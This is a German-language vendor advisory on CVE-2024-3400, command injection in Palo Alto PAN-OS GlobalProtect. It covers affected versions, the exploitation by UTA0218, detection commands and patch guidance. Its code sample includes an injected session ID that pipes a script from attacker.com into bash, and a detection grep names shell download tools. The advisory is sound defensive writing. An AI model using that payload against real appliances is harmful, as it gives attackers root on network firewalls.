剣 KENSAI
Kritisch CVE-2024-3400 Januar 2026 · 9 Min. Lesezeit

CVE-2024-3400: Befehlsinjektion in Palo Alto PAN-OS — CVSS 10.0

CVE-2024-3400 ist eine OS-Befehlsinjektionsschwachstelle höchster Schwere im GlobalProtect-Gateway von Palo Alto Networks PAN-OS. Ein nicht authentifizierter Angreifer kann ohne erforderliche Interaktion beliebige OS-Befehle als Root-Benutzer ausführen. Die Schwachstelle wurde bereits vor ihrer Offenlegung von UTA0218 (wahrscheinlich staatlich unterstützt) ausgenutzt.


10.0
KRITISCH (MAX.)
AttributWert
CVE-IDCVE-2024-3400
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWECWE-77: OS-Befehlsinjektion
Veröffentlicht12. April 2024
AusnutzungAktiv — CISA KEV, Ausnutzung durch staatliche Akteure

Was ist CVE-2024-3400?

CVE-2024-3400 betrifft die GlobalProtect-Funktion von Palo Alto Networks PAN-OS. Wenn GlobalProtect als Gateway oder Portal konfiguriert ist, kann ein nicht authentifizierter Angreifer aus der Ferne beliebige OS-Befehle einschleusen, die mit Root-Rechten auf der Firewall-Appliance ausgeführt werden.

Die Kombination der Faktoren — keine Authentifizierung erforderlich, über das Netzwerk erreichbar, veränderter Geltungsbereich sowie maximale Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit — führt zu einem perfekten CVSS-Wert von 10.0. Unter den Firewall-Anbietern haben bislang nur eine Handvoll Schwachstellen diesen Wert erhalten.

🚨 Ausnutzung durch staatliche Akteure vor Verfügbarkeit eines Patches

Volexity entdeckte diese Schwachstelle bei der Reaktion auf einen Vorfall, bei dem UTA0218, ein hochentwickelter Bedrohungsakteur, eine neuartige Python-Hintertür namens UPSTYLE auf kompromittierten PAN-OS-Geräten installiert hatte. Der Angreifer nutzte die Firewall als Ausgangspunkt, um auf interne Netzwerke zuzugreifen, Active-Directory-Anmeldedaten zu stehlen und sensible Daten zu exfiltrieren. Volexity schätzt, dass die Ausnutzung Ende März 2024 begann — Wochen bevor Palo Alto benachrichtigt wurde.

Betroffene Systeme

PAN-OS-VersionBetroffen (GlobalProtect aktiviert)Behobene Version
PAN-OS 11.1< 11.1.2-h311.1.2-h3+
PAN-OS 11.0< 11.0.4-h111.0.4-h1+
PAN-OS 10.2< 10.2.9-h110.2.9-h1+
PAN-OS 10.1< 10.1.14-h410.1.14-h4+

Voraussetzung: Ein GlobalProtect-Gateway oder -Portal muss konfiguriert sein (show global-protect-gateway current-user gibt Ergebnisse zurück). Organisationen, die GlobalProtect nicht konfiguriert haben, sind nicht betroffen.

Technische Analyse

Die Injektionsstelle befindet sich im Code zur Verarbeitung von GlobalProtect-Sitzungen. Wenn eine GlobalProtect-Sitzung aufgebaut wird, werden bestimmte Sitzungsattribute in temporäre Dateien auf der Firewall geschrieben. Der Code, der den Dateipfad für diese Sitzungsdateien erstellt, bereinigt die teilweise vom Angreifer kontrollierte Sitzungskennung nicht ordnungsgemäß.

# Vereinfachte Konstruktion des anfälligen Dateipfads
SESSION_ID = request.cookie["SESSID"]  # Vom Angreifer kontrolliert
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}")  # Befehlsinjektion an dieser Stelle

# Der Angreifer erstellt eine Sitzungs-ID mit Shell-Metazeichen:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"

Die von UTA0218 installierte UPSTYLE-Hintertür nutzte einen neuartigen Persistenzmechanismus: ein Python-Skript, das die Zugriffsprotokolle des Webservers auf bestimmte Anfragemuster überwachte (die einen verschlüsselten Befehl enthielten), die Befehle ausführte und anschließend den ursprünglichen Dateiinhalt wiederherstellte, um Spuren der Aktivität zu beseitigen.

Aktivitäten nach der Ausnutzung (UTA0218)

Volexity dokumentierte die folgende Abfolge von Aktivitäten staatlicher Akteure nach der Ausnutzung:

Erkennung

Analyse von PAN-OS-Protokollen

# Auf Artefakte der UPSTYLE-Hintertür prüfen
find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null

# Verdächtiger Datenverkehr in GlobalProtect-Protokollen
grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log

# Veränderte Systemdateien (UPSTYLE verändert sie und stellt sie anschließend wieder her)
# Webserverdateien auf kürzlich erfolgte Zugriffe prüfen
find /var/appweb -atime -7 -name "*.php" -o -name "*.py"

Abfragen zur Bedrohungssuche

Schutzmaßnahmen

  1. Sofort patchen: Installieren Sie die oben aufgeführten Hotfix-Versionen. Dies ist eine aktiv ausgenutzte Schwachstelle mit einem CVSS-Wert von 10.0 — eine Verzögerung ist nicht vertretbar.
  2. Übergangsweise Threat Prevention einsetzen: Aktivieren Sie bei ungepatchten Geräten Threat Prevention mit Sicherheitsprofilen auf den GlobalProtect-Schnittstellen. Palo Alto stellte spezielle Signaturen mit Bedrohungs-IDs bereit.
  3. GlobalProtect deaktivieren, wenn es nicht benötigt wird: Organisationen, die GlobalProtect nicht aktiv nutzen, können die Funktion vorübergehend als Behelfslösung deaktivieren.
  4. Firewall-Dateien überprüfen: Führen Sie das von Palo Alto bereitgestellte Skript aus, um nach UPSTYLE und anderen Artefakten nach der Ausnutzung zu suchen.
  5. Alle Anmeldedaten rotieren: Sämtliche in der Firewall-Konfiguration gespeicherten Anmeldedaten (VPN-Zertifikate, LDAP-Bind-Anmeldedaten usw.) müssen als kompromittiert betrachtet werden.

💡 CISA-Notfallanweisung: CISA erließ die Notfallanweisung 24-03, die alle US-Bundesbehörden verpflichtete, Patches oder Schutzmaßnahmen bis zum 19. April 2024 umzusetzen. Die Dringlichkeit spiegelt den Schweregrad und die aktive Ausnutzung durch hochentwickelte Bedrohungsakteure wider.

Erkennungsfunktionen von KENSAI

Ist Ihre Palo-Alto-Infrastruktur gegenüber CVE-2024-3400 exponiert?

KENSAI identifiziert sofort mit dem Internet verbundene PAN-OS-Geräte, die für Befehlsinjektionen anfällig sind. Warten Sie nicht, bis Bedrohungsakteure sie zuerst finden.

Jetzt Ihren Perimeter scannen →

Verwandte Artikel

AI-gestützte Industrialisierung von Malware: Transparent Weiterleitung... KENSAI vs SonarQube: Für 2025...